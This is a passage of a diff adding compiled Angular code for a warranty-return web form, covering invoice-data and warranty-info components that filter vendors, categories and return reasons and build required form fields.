#008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.help__message{display:flex;flex-direction:column;width:100%}.help__message--item{width:100%}.help__message--item>div{padding:20px;border-left:3px solid #008a00;background-color:#f8f8f9;margin:25px 0;width:100%;line-height:175%}.help__message--item>div a{color:#1f2325;font-weight:700;text-decoration:underline;display:inline-block;white-space:unset;word-break:break-all}.help__message--item>div a:hover{background-color:transparent;text-decoration:none}.help__message--item>div a:after{content:none}\n"], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i4.TranslatePipe }, encapsulation: i0.ViewEncapsulation.None });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: HelpMessageComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'help-message',
+                    templateUrl: './help-message.component.html',
+                    styleUrls: ['./help-message.component.scss'],
+                    encapsulation: ViewEncapsulation.None
+                }]
+        }], propDecorators: { configuration: [{
+                type: Input
+            }], parentForm: [{
+                type: Input
+            }], message: [{
+                type: Input
+            }], messages: [{
+                type: Input
+            }], messageType: [{
+                type: Input
+            }] } });
+
+class InvoiceDataComponent {
+    constructor() {
+        this.reuseInvoiceInfo = false;
+        this.transportOptions = [];
+        this.reqFields = new FormGroup({});
+    }
+    ngOnInit() {
+        var _a, _b;
+        this.reuseInvoiceInfo = this.configuration.defData.invoice ? true : false;
+        this.offerInformation = this.reqLocale === 'fieldInvoiceInfo' ? 'wf.invoicedataOfferInformation' : 'wf.invoicedataPhoneOfferInformation';
+        if ((_a = this.configuration.defData.customerDetails) === null || _a === void 0 ? void 0 : _a.customerNumber) {
+            this.reqFields.patchValue({
+                "returnHardware-invoiceInformation": {
+                    orgReference: (_b = this.configuration.defData.customerDetails) === null || _b === void 0 ? void 0 : _b.customerNumber
+                }
+            });
+        }
+    }
+    setInvoiceInfo() {
+        var _a, _b;
+        if ((_a = this.configuration.defData.invoice) === null || _a === void 0 ? void 0 : _a.invoiceAddress) {
+            this.reqFields.patchValue({
+                "returnHardware-invoiceInformation": {
+                    invoiceAddress: this.configuration.defData.invoice.invoiceAddress
+                }
+            });
+        }
+        if ((_b = this.configuration.defData.invoice) === null || _b === void 0 ? void 0 : _b.invoiceRef) {
+            this.reqFields.patchValue({
+                "returnHardware-invoiceInformation": {
+                    invoiceReference: this.configuration.defData.invoice.invoiceRef
+                }
+            });
+        }
+        this.reuseInvoiceInfo = false;
+    }
+    ;
+    dontUse() {
+        this.reuseInvoiceInfo = false;
+    }
+}
+InvoiceDataComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: InvoiceDataComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+InvoiceDataComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: InvoiceDataComponent, selector: "invoice-data", inputs: { configuration: "configuration", reqFields: "reqFields", reqLocale: "reqLocale", reuseInvoiceInfo: "reuseInvoiceInfo", warrantyData: "warrantyData" }, ngImport: i0, template: "<h2>{{'wf.invoicedataHeader' | translate}}</h2>\r\n<div [innerHtml]=\"offerInformation|translate\"></div>\r\n<div [formGroup]=\"reqFields\">\r\n  <div formGroupName=\"returnHardware-invoiceInformation\">\r\n    <ad-checkbox formControlName=\"accept\">{{'wf.acceptoffer' | translate}}</ad-checkbox>\r\n\r\n    <div\r\n         *ngIf=\"reqFields.value['returnHardware-invoiceInformation'].accept && !configuration.defConfig.isAnonymous && reuseInvoiceInfo\">\r\n      <h4>{{'wf.informationfromlastticket'|translate}}</h4>\r\n      <div class=\"actions\">\r\n        <ad-button size=\"large\"\r\n                   variant=\"primary\"\r\n                   (onClick)=\"setInvoiceInfo()\">{{'wf.uselastinvoiceinformation'|translate}}\r\n        </ad-button>\r\n        <span class=\"close-action\"\r\n              (click)=\"dontUse()\">{{'wf.dontadd'|translate}}</span>\r\n      </div>\r\n    </div>\r\n\r\n    <ad-text formControlName=\"orgReference\"\r\n             [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n             type=\"text\">\r\n      {{'wf.invoicedatauCustumeridororder' | translate}}\r\n    </ad-text>\r\n\r\n    <ad-text formControlName=\"invoiceAddress\"\r\n             [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n             type=\"text\">\r\n      {{'wf.invoicedataAddress' | translate}}\r\n    </ad-text>\r\n\r\n    <ad-text formControlName=\"invoiceReference\"\r\n             [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n             type=\"text\">\r\n      {{'wf.invoicedataInvoiceRef' | translate}}\r\n    </ad-text>\r\n\r\n    <ad-checkbox formControlName=\"dataValid\"\r\n                 [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"><strong>{{'wf.invoicedataValid'\r\n        | translate}}</strong></ad-checkbox>\r\n\r\n    <ad-select formControlName=\"transportMethod\"\r\n               [disabled]=\"!reqFields.value['returnHardware-invoiceInformation'].accept\"\r\n               [multiple]=\"false\"\r\n               [allowFilter]=\"false\"\r\n               [placeholder]=\"'wf.invoicedataTransportation' | translate\">\r\n      <ad-select-option *ngFor=\"let option of warrantyData.transportOptions; let i=index\"\r\n                        [value]=\"option.code\">\r\n        {{option.text}}\r\n      </ad-select-option>\r\n    </ad-select>\r\n\r\n  </div>\r\n</div>", styles: ["h2{margin:20px 0;color:#3e464a;line-height:1.25em;font-weight:400}ad-text{margin-bottom:30px}.actions{display:flex;padding-bottom:10px}.actions .close-action{padding:30px 0 0 20px;font-weight:600;cursor:pointer}\n"], components: [{ type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }, { type: i1$1.SelectComponent, selector: "ad-select", inputs: ["id", "disabled", "value", "multiple", "allowFilter", "placeholder", "labelProperty"] }, { type: i1$1.SelectOptionComponent, selector: "ad-select-option", inputs: ["disabled", "id", "value"], outputs: ["onSelectionChange"] }], directives: [{ type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.FormGroupName, selector: "[formGroupName]", inputs: ["formGroupName"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: InvoiceDataComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'invoice-data',
+                    templateUrl: './invoice-data.component.html',
+                    styleUrls: ['./invoice-data.component.scss']
+                }]
+        }], ctorParameters: function () { return []; }, propDecorators: { configuration: [{
+                type: Input
+            }], reqFields: [{
+                type: Input
+            }], reqLocale: [{
+                type: Input
+            }], reuseInvoiceInfo: [{
+                type: Input
+            }], warrantyData: [{
+                type: Input
+            }] } });
+
+class WarrantyInfoComponent {
+    constructor(warrantyService, formComponentService, serialNumberService, validationService) {
+        this.warrantyService = warrantyService;
+        this.formComponentService = formComponentService;
+        this.serialNumberService = serialNumberService;
+        this.validationService = validationService;
+        this.selectedVendorText = '';
+        this.fillDescriptions = new EventEmitter();
+        this.continue = new EventEmitter();
+        this.destroy$ = new Subject();
+        this.returnReasonRuleOptions = [];
+        this.ruleHelpMessages = [];
+        this.allHelpMessages = [];
+        this.vendorProductLimits = new Map();
+        this.vendorProductLimitsFiltered = [];
+        this.vendorsFiltered = [];
+        this.categoriesFiltered = [];
+        this.components = [];
+        this.requiredFieldsFiltered = [];
+        this.returnReasonVisible = false;
+        this.level = 0;
+        this.returnReasonValid = true;
+        this.allowedFiles = [".jpeg", ".jpg", ".gif", ".png", ".pdf", ".doc", ".docx", ".csv", ".xls", ".xlsx", ".txt", ".zip"];
+    }
+    get HelpMessageTypeEnum() {
+        return HelpMessageTypeEnum;
+    }
+    get reqFields() {
+        return this.infoForm.get("reqFields");
+    }
+    ngOnInit() {
+        this.filterVendors(this.infoForm.value.category);
+        const selectedVendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
+        this.filterCategories(selectedVendor);
+        this.subscribeValueChanges();
+        if (this.infoForm.value.vendor && this.infoForm.value.category) {
+            const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.value.category);
+            this.filterRuleOptionsTierOne(selectedVendor, this.infoForm.value.category);
+            this.filterVendorProductLimits(selectedVendor, selectedCategory);
+            const keys = Object.keys(this.infoForm.controls);
+            if (keys.some(k => k.startsWith("node-"))) {
+                Object.keys(this.infoForm.controls).forEach(key => {
+                    if (key.startsWith("node-") || key === "reasonProductReturn") {
+                        this.updateFormOtherOptionsSelected(this.infoForm.get(key).value);
+                    }
+                });
+            }
+            else {
+                this.updateFormOtherOptionsSelected(this.infoForm.get("reasonProductReturn").value);
+            }
+        }
+        else
+            this.populateVendorAndProduct();
+    }
+    populateVendorAndProduct() {
+        if (this.warrantyData.orderLines[this.orderLineIndex].vendor &&
+            this.warrantyData.orderLines[this.orderLineIndex].category) {
+            const lineVendor = this.formComponentService.resolveManufacturerAlias(this.warrantyData.orderLines[this.orderLineIndex].vendor);
+            const vendorIndex = this.vendorsFiltered.findIndex(v => v.vendorName.toLowerCase() === lineVendor.toLowerCase());
+            const vendorValue = vendorIndex > -1 ? this.vendorsFiltered[vendorIndex] :
+                this.vendorsFiltered.find(v => v.name === "vendorOther");
+            if (vendorValue) {
+                this.infoForm.get("vendor").setValue(vendorValue.name);
+                this.filterCategories(vendorValue);
+            }
+            const lineCategory = this.getLineCategory();
+            let category = null;
+            const cnetCategory = this.warrantyData.cnetCategories.find(item => lineCategory === item.category.toLowerCase());
+            if (cnetCategory) {
+                category = this.categoriesFiltered.find(item => cnetCategory.typeId === item.id) || null;
+            }
+            category = category ? category : this.categoriesFiltered.find(c => c.name === "prodtypeOther") || null;
+            if (category) {
+                this.infoForm.get("category").setValue(category.name);
+            }
+        }
+    }
+    getLineCategory() {
+        let lineCategory = this.warrantyData.orderLines[this.orderLineIndex].category.toLowerCase();
+        if (lineCategory.indexOf('(') > -1) {
+            lineCategory = lineCategory.substring(0, lineCategory.indexOf('(')).trim();
+        }
+        return lineCategory;
+    }
+    subscribeValueChanges() {
+        this.infoForm.get("vendor").valueChanges
+            .pipe(takeUntil(this.destroy$))
+            .subscribe((vendorCode) => {
+            this.resetDataOnVendorOrCategoryChange();
+            const selectedVendor = this.warrantyData.getVendorByCode(vendorCode);
+            const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.value.category);
+            this.filterCategories(selectedVendor);
+            this.filterRuleOptionsTierOne(selectedVendor, this.infoForm.value.category);
+            this.filterVendorProductLimits(selectedVendor, selectedCategory);
+        });
+        this.infoForm.get("category").valueChanges
+            .pipe(takeUntil(this.destroy$))
+            .subscribe((categoryName) => {
+            this.resetDataOnVendorOrCategoryChange();
+            const selectedVendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
+            const selectedCategory = this.warrantyData.getCategoryByName(categoryName);
+            this.filterVendors(categoryName);
+            this.filterRuleOptionsTierOne(selectedVendor, categoryName);
+            this.filterVendorProductLimits(selectedVendor, selectedCategory);
+        });
+        const currentValue = this.infoForm.get("reasonProductReturn").value;
+        this.infoForm.get("reasonProductReturn").valueChanges
+            .pipe(startWith(null), pairwise(), takeUntil(this.destroy$))
+            .subscribe(([prevReturnReason, returnReason]) => {
+            if (!prevReturnReason)
+                prevReturnReason = currentValue;
+            this.resetHierarchyFields(prevReturnReason);
+            this.components = [];
+            this.requiredFieldsFiltered = [];
+            this.resetDataOnReturnReasonChange(returnReason);
+            if (returnReason) {
+                this.updateFormReturnReasonOptionSelected(returnReason);
+            }
+        });
+    }
+    updateFormReturnReasonOptionSelected(returnReason) {
+        if (returnReason) {
+            const ruleOption = this.getReturnReasonRuleOptionByNodeId(returnReason);
+            this.returnReasonValid = this.validationService.returnReasonIsValid(this.configuration, ruleOption, this.orderLineIndex);
+            if (ruleOption) {
+                this.updateComponents(ruleOption);
+                if (!this.formComponentService.hasChilds(ruleOption, this.warrantyData.ruleOptions)) {
+                    this.updateRequiredFields(ruleOption);
+                }
+            }
+        }
+    }
+    updateDeliveryDate(ruleOption) {
+        switch (ruleOption.localizeVar) {
+            case RuleOptionEnum.purchaseErrorDK:
+            case RuleOptionEnum.notWorkOnDelivery:
+            case RuleOptionEnum.discoveredWhenOpened:
+            case RuleOptionEnum.cargoGoodsAvailable:
+                if (!this.infoForm.contains("deliveryDate"))
+                    this.infoForm.addControl("deliveryDate", new FormControl('', Validators.required));
+                break;
+            case RuleOptionEnum.ruleOptDOA:
+                this.quantityCtrl.setValue(1);
+                break;
+        }
+    }
+    updateQuantity(ruleOption) {
+        if (ruleOption.localizeVar === RuleOptionEnum.ruleOptDOA) {
+            this.quantityCtrl.setValue(1);
+        }
+    }
+    updateTransportOption() {
+        const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.get("category").value);
+        if (!this.infoForm.contains("transportOption") &&
+            selectedCategory.name === "prodtypeMobilePhone" &&
+            Object.keys(this.infoForm.controls).some(key => {
+                if (key.startsWith("node-")) {
+                    const keyValue = this.infoForm.controls[key].value;
+                    if (keyValue) {
+                        const option = this.warrantyData.getRuleOption(this.infoForm.controls[key].value);
+                        return option.localizeVar === RuleOptionEnum.ruleOptWunDmgd;
+                    }
+                    return false;
+                }
+                return false;
+            })) {
+            this.infoForm.addControl("transportOption", new FormControl('', Validators.required));
+        }
+    }
+    updateFormOtherOptionsSelected(option) {
+        if (Array.isArray(option)) {
+            option.forEach(o => {
+                this.updateFormSingleOtherOptionsSelected(o);
+            });
+        }
+        else {
+            this.updateFormSingleOtherOptionsSelected(option);
+        }
+    }
+    updateFormSingleOtherOptionsSelected(option) {
+        const ruleOptionNext = this.warrantyData.getRuleOption(option);
+        if (ruleOptionNext) {
+            this.updateComponents(ruleOptionNext);
+            if (ruleOptionNext.localizeVar === "ruleoptNoCostProp") {
+                this.requiredFieldsFiltered = [];
+            }
+            else if (!this.formComponentService.hasChilds(ruleOptionNext, this.warrantyData.ruleOptions)) {
+                this.updateRequiredFields(ruleOptionNext);
+            }
+        }
+    }
+    filterVendors(categoryCode) {
+        let vendorsList = this.warrantyData.vendors;
+        if (categoryCode) {
+            const selectedCategory = this.warrantyData.categories.find(v => v.name == categoryCode);
+            const vendorProductsFiltered = this.warrantyData.vendorProducts.filter(vp => vp.productTypeId === selectedCategory.id);
+            vendorsList = vendorsList.filter(v => vendorProductsFiltered.some(p => p.vendorId === v.id
+                && this.warrantyData.ruleVendorProducts.some(r => r.vendorProductId === p.id
+                    && this.warrantyData.ruleOptions.some(o => o.ruleId == r.ruleId))));
+        }
+        let filteredRuleVendorProducts = [];
+        if (this.warrantyData.ruleVendorProducts) {
+            filteredRuleVendorProducts = this.warrantyData.ruleVendorProducts.filter(rp => this.warrantyData.ruleOptions.some(o => rp.ruleId === o.ruleId));
+        }
+        vendorsList = vendorsList.filter(v => this.warrantyData.vendorProducts.some(vp => vp.vendorId === v.id
+            && filteredRuleVendorProducts.some(r => r.vendorProductId === vp.id)));
+        vendorsList = vendorsList.sort(this.warrantyData.sortVendors);
+        this.vendorsFiltered = vendorsList;
+    }
+    displayReturnReason() {
+        return this.returnReasonVisible && this.infoForm.value.vendor && this.infoForm.value.category;
+    }
+    filterCategories(vendor) {
+        let categoriesList = this.warrantyData.categories;
+        if (vendor) {
+            const vendorProductsFiltered = this.warrantyData.vendorProducts.filter(vp => vp.vendorId === vendor.id);
+            categoriesList = categoriesList.filter(c => vendorProductsFiltered.some(p => p.productTypeId === c.id
+                && this.warrantyData.ruleVendorProducts.some(r => r.vendorProductId === p.id
+                    && this.warrantyData.ruleOptions.some(o => o.ruleId == r.ruleId))));
+        }
+        const filteredRuleVendorProducts = this.warrantyData.ruleVendorProducts.filter(rp => this.warrantyData.ruleOptions.some(o => rp.ruleId === o.ruleId));
+        categoriesList = categoriesList.filter(c => this.warrantyData.vendorProducts.some(vp => vp.productTypeId === c.id
+            && filteredRuleVendorProducts.some(r => r.vendorProductId === vp.id)));
+        categoriesList = categoriesList.sort(this.warrantyData.sortCategories);
+        this.categoriesFiltered = categoriesList;
+    }
+    filterRuleOptionsTierOne(vendor, categoryName) {
+        let ruleOptionsList = [];
+        let vendorProductsList = [];
+        if (vendor && categoryName) {
+            const selectedCategory = this.warrantyData.categories.find(v => v.name == categoryName);
+            vendorProductsList = this.warrantyData.vendorProducts.filter(vp => vp.vendorId === vendor.id
+                && vp.productTypeId === selectedCategory.id);
+            ruleOptionsList = this.warrantyData.ruleOptions.filter(ro => this.warrantyData.ruleVendorProducts.some(rp => rp.ruleId === ro.ruleId &&
+                vendorProductsList.some(vp => vp.id === rp.vendorProductId)) &&
+                ro.caseType === this.configuration.defConfig.caseType);
+            if (this.configuration.isCompletedOrderCase) {
+                ruleOptionsList = ruleOptionsList.filter(ro => ro.localizeVar !== RuleOptionEnum.ruleOptDOA);
+            }
+        }
+        ruleOptionsList = this.formComponentService.sortOutRules(ruleOptionsList.filter(x => !x.parentId));
+        if (ruleOptionsList) {
+            const updated = this.updateReturnReasonPlaceholder(ruleOptionsList);
+            const emptyDisclaimer = this.getEmptyDisclaimerRuleOption(ruleOptionsList);
+            if (!updated && emptyDisclaimer) {
+                this.updateRuleHelpMessages(emptyDisclaimer);
+                this.returnReasonVisible = false;
+            }
+            else {
+                this.returnReasonVisible = true;
+                this.returnReasonRuleOptions = ruleOptionsList;
+            }
+        }
+    }
+    getEmptyDisclaimerRuleOption(ruleOptionsList) {
+        return ruleOptionsList.find(r => r.localizeVar === RuleOptionEnum.emptyDisclaimer);
+    }
+    updateReturnReasonPlaceholder(ruleOptionsList) {
+        this.returnReasonPlaceholder = this.configuration.returnReasonlaceholder;
+        const filteredOptions = ruleOptionsList.filter(o => {
+            switch (o.localizeVar) {
+                case RuleOptionEnum.ruleOptDOA:
+                case RuleOptionEnum.ruleOptWorking:
+                    this.returnReasonPlaceholder = this.configuration.defConfig.country === CountriesEnum.SE ? "wf.workedonarrivalSE" : "wf.workedonarrival";
+                    return true;
+                case RuleOptionEnum.depRegistered:
+                    this.returnReasonPlaceholder = "wf.depSelection";
+                    return true;
+                case RuleOptionEnum.packageDamaged:
+                case RuleOptionEnum.packageNotDamaged:
+                    this.returnReasonPlaceholder = "wf.packageCondition";
+                    return true;
+            }
+            return false;
+        });
+        return filteredOptions.length > 0;
+    }
+    filterVendorProductLimits(vendor, category) {
+        if (this.configuration.defConfig.caseType === CaseTypeEnum.WarrantyRepair && vendor) {
+            if (!this.vendorProductLimits.has(vendor.id)) {
+                this.warrantyData.vendorProducts.filter(vp => vp.vendorId === vendor.id)
+                    .forEach(p => {
+                    this.warrantyService.getVendorProductLimits(p.id)
+                        .pipe(filter(l => (l === null || l === void 0 ? void 0 : l.length) > 0), takeUntil(this.destroy$))
+                        .subscribe(limits => {
+                        let currentLimits = [];
+                        if (this.vendorProductLimits.has(vendor.id)) {
+                            currentLimits = this.vendorProductLimits.get(vendor.id);
+                        }
+                        this.vendorProductLimits.set(vendor.id, [...currentLimits, ...limits]);
+                        this.filterVendorProductLimitsByCategory(vendor, category);
+                    });
+                });
+            }
+            else {
+                this.filterVendorProductLimitsByCategory(vendor, category);
+            }
+        }
+    }
+    filterVendorProductLimitsByCategory(vendor, category) {
+        if (this.vendorProductLimits.has(vendor.id) && category) {
+            const vendorProduct = this.getSelectedVendorProduct(vendor, category);
+            const currentLimits = this.vendorProductLimits.get(vendor.id);
+            this.vendorProductLimitsFiltered = currentLimits.filter(l => l.vendorProductId === vendorProduct.id);
+            this.mergeMessages();
+        }
+    }
+    resetDataOnVendorOrCategoryChange() {
+        this.vendorProductLimits = new Map();
+        this.vendorProductLimitsFiltered = [];
+        this.components.forEach(x => {
+            if (this.infoForm.contains(x.id)) {
+                this.infoForm.removeControl(x.id);
+            }
+        });
+        this.components = [];
+        this.ruleHelpMessages = [];
+        this.requiredFieldsFiltered = [];
+        this.removeRequiredFields();
+        this.infoForm.patchValue({ reasonProductReturn: '' }, { emitEvent: false, onlySelf: true });
+        this.mergeMessages();
+    }
+    resetDataOnReturnReasonChange(returnReson) {
+        this.components = [];
+        if (this.infoForm.contains("deliveryDate")) {
+            this.infoForm.removeControl("deliveryDate");
+        }
+        this.ruleHelpMessages = [];
+        if (!returnReson) {
+            this.requiredFieldsFiltered = [];
+            this.removeRequiredFields();
+        }
+        this.mergeMessages();
+    }
+    getSelectedVendorProduct(vendor, category) {
+        return this.warrantyData.vendorProducts.find(p => p.vendorId === vendor.id && p.productTypeId === category.id);
+    }
+    getReturnReasonRuleOptionByNodeId(nodeId) {
+        return this.returnReasonRuleOptions.find(r => r.nodeId === nodeId);
+    }
+    updateRuleHelpMessages(option) {
+        if (option.nodeHelp) {
+            const selectedVendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
+            const selectedCategory = this.warrantyData.getCategoryByName(this.infoForm.value.category);
+            const vendorProduct = this.getSelectedVendorProduct(selectedVendor, selectedCategory);
+            this.warrantyService.getHelpMessage(option.nodeHelp, vendorProduct.id)
+                .pipe(map(msg => msg.map(i => new LocalizedItem(i.id, i.message, "", "", option.nodeId))), takeUntil(this.destroy$))
+                .subscribe((result) => {
+                if ((result === null || result === void 0 ? void 0 : result.length) > 0) {
+                    this.ruleHelpMessages = [];
+                    const filteredMessages = [];
+                    result.forEach((item) => {
+                        const exists = filteredMessages.some(x => x.id === item.id) ||
+                            filteredMessages.some(x => x.text === item.text);
+                        if (!exists) {
+                            filteredMessages.push(item);
+                        }
+                    });
+                    this.ruleHelpMessages = [...this.ruleHelpMessages, ...filteredMessages];
+                    this.mergeMessages();
+                }
+            });
+        }
+    }
+    updateComponents(result) {
+        this.updateDeliveryDate(result);
+        this.updateQuantity(result);
+        this.updateRuleHelpMessages(result);
+        if (this.formComponentService.hasChilds(result, this.warrantyData.ruleOptions)) {
+            this.level++;
+            const ruleOptions = this.formComponentService.filterRuleOptions(result, this.warrantyData.ruleOptions);
+            if (!this.components.some(c => c.id === 'node-' + result.nodeId)) {
+                const formComponent = this.createComponent(result, ruleOptions);
+                this.components.push(formComponent);
+                this.infoForm.addControl(formComponent.id, new FormControl('', Validators.required));
+                const currentValue = this.infoForm.get(formComponent.id).value;
+                this.infoForm.get(formComponent.id).valueChanges
+                    .pipe(startWith(null), pairwise(), takeUntil(this.destroy$))
+                    .subscribe(([prev, next]) => {
+                    if (!prev) {
+                        prev = currentValue;
+                    }
+                    const prevOption = prev && Array.isArray(prev) && prev.length == 1 ? prev[0] : prev;
+                    this.resetHierarchyFields(prevOption);
+                    this.refreshFields(next);
+                });
+            }
+        }
+        this.updateTransportOption();
+    }
+    createComponent(result, options) {
+        const formComponent = {
+            hierarchy: this.level,
+            id: 'node-' + result.nodeId,
+            nodeId: result.nodeId,
+            options: options,
+            isRequired: true,
+            isMultiple: result.optionType.includes("single"),
+            reason: result,
+            name: 'productissue-' + result.nodeId,
+            placeholderText: this.formComponentService.getPlaceholderText(this.configuration.defConfig.caseType, result.localizeVar, options, this.warrantyData.ruleOptions),
+            requiredFields: result.requiredFields
+        };
+        return formComponent;
+    }
+    refreshFields(nodeIds) {
+        const hasChilds = this.nodeHasChilds(nodeIds);
+        if (!nodeIds || hasChilds) {
+            this.requiredFieldsFiltered = [];
+            this.removeRequiredFields();
+        }
+        this.updateFormOtherOptionsSelected(nodeIds);
+    }
+    nodeHasChilds(nodeIds) {
+        let hasChilds = false;
+        if (nodeIds) {
+            if (Array.isArray(nodeIds)) {
+                hasChilds = nodeIds.some(n => {
+                    const option = this.warrantyData.getRuleOption(n);
+                    return this.formComponentService.hasChilds(option, this.warrantyData.ruleOptions);
+                });
+            }
+            else {
+                const option = this.warrantyData.getRuleOption(nodeIds);
+                hasChilds = this.formComponentService.hasChilds(option, this.warrantyData.ruleOptions);
+            }
+        }
+        return hasChilds;
+    }
+    resetHierarchyFields(nodeId) {
+        let nodeValue;
+        if (nodeId && Array.isArray(nodeId)) {
+            nodeValue = nodeId.length === 1 ? nodeId[0] : null;
+        }
+        else
+            nodeValue = nodeId;
+        if (nodeValue) {
+            const ruleOptionPrev = this.warrantyData.getRuleOption(nodeValue);
+            const component = this.components.find(x => x.nodeId === ruleOptionPrev.nodeId);
+            this.resetComponentsByHierarchyLevel(component);
+            Object.keys(this.infoForm.controls).forEach(key => {
+                if (key.startsWith("node-") && !this.infoForm.controls[key].valid) {
+                    this.requiredFieldsFiltered = [];
+                }
+            });
+        }
+        if (this.infoForm.contains("transportOption")) {
+            this.infoForm.removeControl("transportOption");
+        }
+    }
+    resetComponentsByHierarchyLevel(component) {
+        let messagesChanged = false;
+        if (this.ruleHelpMessages.length > 0) {
+            const nodeValues = [];
+            Object.keys(this.infoForm.controls).forEach(key => {
+                if (key.startsWith("node-")) {
+                    nodeValues.push(this.infoForm.get(key).value);
+                }
+            });
+            const totalMessages = this.ruleHelpMessages.length;
+            this.ruleHelpMessages = this.ruleHelpMessages.filter(m => m.optionId === null || nodeValues.includes(m.optionId));
+            messagesChanged = totalMessages !== this.ruleHelpMessages.length;
+        }
+        if (component) {
+            const componentsFiltered = this.components.filter(c => c.hierarchy >= component.hierarchy);
+            componentsFiltered
+                .forEach(c => {
+                if (this.infoForm.contains(c.id)) {
+                    const remOptionVal = this.infoForm.get(c.id).value;
+                    this.ruleHelpMessages.filter(m => m.optionId === remOptionVal).forEach(m => {
+                        const index = this.ruleHelpMessages.findIndex(i => i.id === m.id);
+                        if (index > -1) {
+                            this.ruleHelpMessages.splice(index, 1);
+                            messagesChanged = true;
+                        }
+                    });
+                    this.infoForm.removeControl(c.id);
+                }
+            });
+            this.components = this.components.filter(c => c.hierarchy < component.hierarchy);
+        }
+        if (messagesChanged) {
+            this.mergeMessages();
+        }
+    }
+    getRequiredFields(option) {
+        const allReqFields = [];
+        this.components.forEach(c => {
+            if (c.requiredFields) {
+                allReqFields.push({ optionId: c.nodeId, requiredFields: c.requiredFields });
+            }
+        });
+        allReqFields.push({ optionId: option.nodeId, requiredFields: option.requiredFields });
+        return allReqFields;
+    }
+    updateRequiredFields(option) {
+        this.requiredFieldsFiltered = [];
+        if (option) {
+            const reqArray = this.getRequiredFields(option);
+            reqArray.forEach(item => {
+                const selectedFields = item.requiredFields.split(',');
+                this.warrantyData.requiredFields.filter(x => selectedFields.some(r => r.toLowerCase() === x.name.toLowerCase())).forEach(f => {
+                    if (!this.requiredFieldsFiltered.some(rf => rf.name === f.name)) {
+                        const fieldOption = this.warrantyData.getRuleOption(item.optionId);
+                        this.addRequiredField(f, fieldOption);
+                    }
+                });
+            });
+            this.requiredFieldsFiltered.sort(this.warrantyData.sortFields);
+            this.removeRequiredFields();
+        }
+        this.infoForm.get("reqFieldsList").setValue(this.requiredFieldsFiltered);
+    }
+    removeRequiredFields() {
+        const reqFields = this.infoForm.get("reqFields");
+        Object.keys(reqFields.controls).forEach(key => {
+            if (this.requiredFieldsFiltered.findIndex(x => x.formControlName === key) === -1) {
+                if (!key.startsWith(Constants.base64)) {
+                    reqFields.removeControl(key);
+                    if (reqFields.contains(`${Constants.base64}${key}`)) {
+                        reqFields.removeControl(`${Constants.base64}${key}`);
+                    }
+                }
+            }
+        });
+    }
+    addRequiredField(f, option) {
+        f.formControlName = this.formComponentService.getFormControlName(f.type, f.name);
+        f.ruleOption = option;
+        f.locale = this.formComponentService.getFieldLocale(this.infoForm, f, this.warrantyData);
+        f.order = this.formComponentService.getFieldOrderNumber(f.type);
+        this.requiredFieldsFiltered.push(f);
+        const reqFieldsForm = this.infoForm.get("reqFields");
+        switch (f.type) {
+            case FieldTypeEnum.invoiceInfo:
+                reqFieldsForm.addControl(f.formControlName, new FormGroup({
+                    accept: new FormControl(false, Validators.requiredTrue),
+                    orgReference: new FormControl('', Validators.required),
+                    invoiceAddress: new FormControl('', Validators.required),
+                    invoiceReference: new FormControl('', Validators.required),
+                    transportMethod: new FormControl('', Validators.required),
+                    dataValid: new FormControl(false, Validators.requiredTrue),
